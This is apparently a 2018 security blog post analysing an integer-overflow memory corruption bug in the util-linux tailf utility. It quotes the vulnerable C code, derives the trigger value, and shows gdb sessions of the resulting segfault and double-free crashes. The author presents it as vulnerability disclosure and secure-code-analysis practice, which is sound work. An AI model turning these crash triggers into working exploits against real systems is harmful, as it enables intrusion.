Wednesday, November 14, 2018

tailf utility memory corruption vulnerability

Note: 

tailf vulnerability was reported to RedHat Product Security Team and based on following points we mutually agree that this issue creates extremely low, almost no security impact.
  • Default util-linux package shipped with CentOS is vulnerable, but tailf is deprecated and removed in latest util-linux package. So just package upgrade is needed.
  • Tailf is not "setuid",  so no gain of additional privileges.
  • Due to nature of exploitation, it is highly unlikely to trick another user to exploit this issue.  
If you could think of any another way to exploit this vulnerability, please let me know.
This report might be useful for practicing secure code analysis, so I decided to post this blog for interested readers. 

Details:
======
man tailf

       tailf  will print out the last 10 lines of a file and then wait for the
       file to grow.  It is similar to tail -f but does not  access  the  file
       when  it  is not growing.

tailf application allows user to specify number of lines displayed on output. Due to improper integer
boundary checking on user controlled "lines" value, during memory allocation routines an attacker can trigger memory corruption.

Data flow:
=========
User controlled -n option is handled by old_style_options() and returns "long" value of lines parameter.

tailf.c
211 /* parses -N option */
212 static long old_style_option(int *argc, char **argv)
213 {
214         int i = 1, nargs = *argc;
215         long lines = -1;
216
217         while(i < nargs) {
218                 if (argv[i][0] == '-' && isdigit(argv[i][1])) {
219                         lines = strtol_or_err(argv[i] + 1,
220                                         _("failed to parse number of lines"));
221                         nargs--;
222                         if (nargs - i)
223                                 memmove(argv + i, argv + i + 1,
224                                                 sizeof(char *) * (nargs - i));
225                 } else
226                         i++;
227         }
228         *argc = nargs;
229         return lines;
230 }
Returned "long" lines value is then passed to tailf() function
tailf.c
282         tailf(filename, lines);
tailf.c
 51 static void
 52 tailf(const char *filename, int lines)
 53 {
 54         char *buf, *p;
 55         int  head = 0;
 56         int  tail = 0;
 57         FILE *str;
 58         int  i;
Notice that "long" lines value is casted to "integer" value. This leads to value truncation, but lets skip this for our analysis.
The interesting code path is at line 63 in tailf() function.

tailf.c
 60         if (!(str = fopen(filename, "r")))
 61                 err(EXIT_FAILURE, _("cannot open %s"), filename);
 62
 63         buf = xmalloc((lines ? lines : 1) * BUFSIZ);
Here, application calculate required allocated memory size using user controlled data. So this is a vulnerable code path.We can trick application to allocate less memory than expected size which could lead to memory corruption.

xmalloc() function accepts input size as size_t which is unsigned integer. So for memory corruption we need to consider boundary condition for unsigned integer.

UINT_MAX value is 4294967295. If provided value is larger than UINT_MAX, it wraps around 0.

For trigger,  we need value of lines = 4294967295 / BUFSIZE (8192) = 524287 + 1  = 524288

include/xalloc.h
   23 void *xmalloc(const size_t size)
   24 {
   25         void *ret = malloc(size);
   26
   27         if (!ret && size)
   28                 err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
   29         return ret;
   30 }

Breakpoint 7, tailf (filename=0xbffff627 "a.txt", lines=524288) at text-utils/tailf.c:63
63    buf = xmalloc((lines ? lines : 1) * BUFSIZ);
(gdb) s
xmalloc (size=0) at ./include/xalloc.h:25
25          void *ret = malloc(size);
(gdb)
As per glibc document - "Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size." So malloc(0) allocates very small amount of memory chunk.
 64         p = buf;
 65         while (fgets(p, BUFSIZ, str)) {
 66                 if (++tail >= lines) {
 67                         tail = 0;
 68                         head = 1;
 69                 }
 70                 p = buf + (tail * BUFSIZ);
 71         }
fgets() reads BUFSIZ from str stream and copy into p (i.e. memory returned by malloc(0)) results into memory corruption.
Program received signal SIGSEGV, Segmentation fault.
_IO_least_marker (fp=fp@entry=0x804f768, end_p=end_p@entry=0x41414141 <Address 0x41414141 out of bounds>) at genops.c:135

[developer@centos-x86 test]$ ulimit -c unlimited
[developer@centos-x86 test]$
[developer@centos-x86 test]$ tailf -524288 huge.txt
Segmentation fault (core dumped)
[developer@centos-x86 test]$ gdb -q -c core.2908
[New LWP 2908]
Missing separate debuginfo for the main executable file
Try: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/30/a39ee9c3a27a2a017df25861c1a6d2b73cf4d0
Core was generated by `tailf -524288 huge.txt'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7621ce8 in ?? ()

(gdb) bt
#0  0xb7621ce8 in ?? ()
#1  0xb7621d22 in ?? ()
#2  0x09d98768 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) info r
eax            0x0  0
ecx            0x41414141 1094795585
edx            0x41414141 1094795585
ebx            0xb7774000 -1216921600
esp            0xbfd2ae1c 0xbfd2ae1c
ebp            0x41414141 0x41414141
esi            0x9d98768  165250920
edi            0x41414141 1094795585
eip            0xb7621ce8 0xb7621ce8
eflags         0x10206  [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb)

Another interesting code path for analysis  -

tailf.c
 65         while (fgets(p, BUFSIZ, str)) {
 66                 if (++tail >= lines) {
 67                         tail = 0;
 68                         head = 1;
 69                 }
 70                 p = buf + (tail * BUFSIZ);
 71         }
 72
 73         if (head) {
 74                 for (i = tail; i < lines; i++)
 75                         fputs(buf + (i * BUFSIZ), stdout);
 76                 for (i = 0; i < tail; i++)
 77                         fputs(buf + (i * BUFSIZ), stdout);
 78         } else {
 79                 for (i = head; i < tail; i++)
 80                         fputs(buf + (i * BUFSIZ), stdout);
 81         }
 82
 83         fflush(stdout);
 84         free(buf);  
 85         fclose(str);
 86 }

[developer@centos-x86 test]$ cat a.txt
AAAAAAAAAA
BBBBBBBBBB
CCCCCC

[developer@centos-x86 test]$ gdb /usr/bin/tailf
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-110.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug eporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/tailf...done.
(gdb)
(gdb) r -524289 a.txt

*** Error in `/usr/bin/tailf': double free or corruption (!prev): 0x0804f8d0 ***

======= Backtrace: =========
/lib/libc.so.6(+0x798ad)[0xb7e748ad]
/usr/bin/tailf[0x804916d]
/usr/bin/tailf[0x80498a4]
/lib/libc.so.6(__libc_start_main+0xf3)[0xb7e151b3]
/usr/bin/tailf[0x8048dd1]
======= Memory map: ========
08048000-0804c000 r-xp 00000000 fd:00 720542     /usr/bin/tailf
0804c000-0804d000 r--p 00003000 fd:00 720542     /usr/bin/tailf
0804d000-0804e000 rw-p 00004000 fd:00 720542     /usr/bin/tailf
0804e000-0806f000 rw-p 00000000 00:00 0          [heap]
b7900000-b7921000 rw-p 00000000 00:00 0
b7921000-b7a00000 ---p 00000000 00:00 0
b7a9b000-b7ab4000 r-xp 00000000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab4000-b7ab5000 r--p 00018000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab5000-b7ab6000 rw-p 00019000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7aca000-b7bfa000 r--p 0019b000 fd:00 100980597  /usr/lib/locale/locale-archive
b7bfa000-b7dfa000 r--p 00000000 fd:00 100980597  /usr/lib/locale/locale-archive
b7dfa000-b7dfb000 rw-p 00000000 00:00 0
b7dfb000-b7fbf000 r-xp 00000000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fbf000-b7fc0000 ---p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc0000-b7fc2000 r--p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc2000-b7fc3000 rw-p 001c6000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc3000-b7fc6000 rw-p 00000000 00:00 0
b7fd6000-b7fd9000 rw-p 00000000 00:00 0
b7fd9000-b7fda000 r--p 01162000 fd:00 100980597  /usr/lib/locale/locale-archive
b7fda000-b7fdb000 rw-p 00000000 00:00 0
b7fdb000-b7fdc000 r-xp 00000000 00:00 0          [vdso]
b7fdc000-b7ffe000 r-xp 00000000 fd:00 67379885   /usr/lib/ld-2.17.so
b7ffe000-b7fff000 r--p 00021000 fd:00 67379885   /usr/lib/ld-2.17.so
b7fff000-b8000000 rw-p 00022000 fd:00 67379885   /usr/lib/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Previous Posts